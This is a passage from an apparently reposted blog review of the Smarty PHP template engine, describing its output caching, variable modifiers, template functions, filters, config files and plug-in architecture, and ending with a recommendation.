In fact, you can have cached and un-cached portions on the same template page, as Smarty allows you to specify exactly what you don't want cached (like that stock ticker at the bottom of the page) and what you do want cached (such as your navigation bar, which is seldom changed). You can also set the cache expiry time so that your template output is cached only for a specific length of time. You can thus achieve the middle-ground between having up-to-date dynamic content and quick-to-load Web pages.
One point to note (and which the authors of Smarty are quick to point out) is that this caching functionality is totally different from that of Zend Cache, PHP Accelerator and the like. Caching tools like PHP Accelerator cache the complied bytecode of your PHP scripts, whereas Smarty caches the output of your templates. As such, Smarty can work hand in hand with Zend Cache, where Zend Cache would cache the PHP scripts that Smarty creates from your templates. This makes for excellent performance, as evidenced by benchmarks. To quote the authors:
"Smarty's performance _really_ excels in combination with a PHP accelerator."
Variable Modifiers
Smarty also provides variable modifiers, which, as the name implies, allow you to modify the contents of a variable. You can do things like uppercase a string (e.g.{$title|upper}
which would convert your $title
into all uppercase characters), truncate a string (e.g. {$content|truncate:30}
which would allow you to display the first 30 characters of $content
and follow that with '...
', particularly useful for displaying email or forum topic previews) or even use regular expressions to search and replace a string (e.g.{$article|regex_replace:"/bad word/":"***"}
which would replace all occurrences of 'bad word
' in $article
with '***
').
Variable modifiers give your template designers the ability to modify your template variables without being confused by those funny characters we programmers so like to use. This sanitized method of 'programming' gives your template designers greater control over the formatting of your template variable, though they would need to know the variable modifiers available to them. It is still, without doubt, a useful feature, as the syntax is kept simple and is accessible to even non-programmers.
Template Functions
Smarty provides built-in and custom functions for use in your templates. These functions are like the API of Smarty templates, except that custom functions can be modified but not built-in functions. Functions allow you to do things like program conditional output (using if
statements), perform iteration with dynamic loops (using foreach
or section
), load config files, cycle though a set of values (useful for alternating table row colors), keep a counter (useful for numbering list data), and much more.
It's particularly of use to those of us generating Web pages with content from databases are the looping functions (section and foreach), which you can use to loop over and display a result set.
Filters
Smarty allows you to specify ('register
' or 'load
' actually) filters through which you can run your templates before or after they are compiled. Prefilters are functions that your templates are run through before they're compiled; postfilters after; and output filters, upon the template output as it is requested.
'Why filters?' you say. Prefilters allow you to do things like removing unwanted comments (such as those created by Dreamweaver) and ensuring content in the templates you don't want does not go through to the compiler. Postfilters let you add additional information to your templates, such as the template creation date (as a comment) after they're compiled. Output filters give you the ability to modify your template output, allowing you to do things like obfuscating email addresses on your Web page to protect against spambots (using a preg_replace()
).
Config Files
Config files are configuration files where you can store global template variables. This allows you to store variables that should affect every template (i.e. global variables) in a central location. A good example of such a variable would be the color scheme for your templates. Your template designers only have to change the values in the config file should a color scheme revamp be required. This saves them suffering through the painful alternative of going through every individual template to change the colors.
Config files also allow for sections, which are not unlike those in .ini files. The section names are enclosed in brackets (e.g. [welcome_page]
) and are only loaded upon request. Anything that's not in a section is globally available (upon a call to the config_load
function).
Plug-ins
The Smarty plug-in architecture was introduced in version 2.0 and allows you to customize Smarty to suit your purposes (however grand or nefarious). The prefilters, postfilters and output filters I discussed earlier are just some of the plug-in types available to the customizer. Other plug-in types are the modifier, block, compiler, resource and insert types.
With plug-ins, you can create your own template functions, variable modifiers and filters. You can even change the data source you want Smarty to read from (the default is from flat files), using a resource plug-in. With a resource plug-in, you can save your templates in a database, and retrieve them using sockets (or any other method you use to access templates with PHP. This means you can access just about any source).
Conclusion
Smarty is a quality template engine and one you should definitely consider, should you be on the lookout for a PHP version.
Combine Smarty's template compilation and PHP's inherent efficiency in generating Web pages, and you've got yourself a winner in the speed race. Smarty also offers extensive functionality, including template functions and variable modifiers, which can be extended using a well-designed plug-in architecture.
All that speed and functionality doesn't come at the price of usability: the learning curve is no steeper than that of other template engines. Smarty is also supplemented with excellent documentation that's available online and for download at the Smarty Website.
Andrei Zmievski, one of the authors, works on the PHP development team too, and he keeps Smarty's development closely tied to that of PHP. So you can be confident that the latest changes to PHP (like the recent register_globals issue in PHP 4.2.0) will be supported by Smarty.
accessible
Read More......Thanks,
Webnology Blog Administrator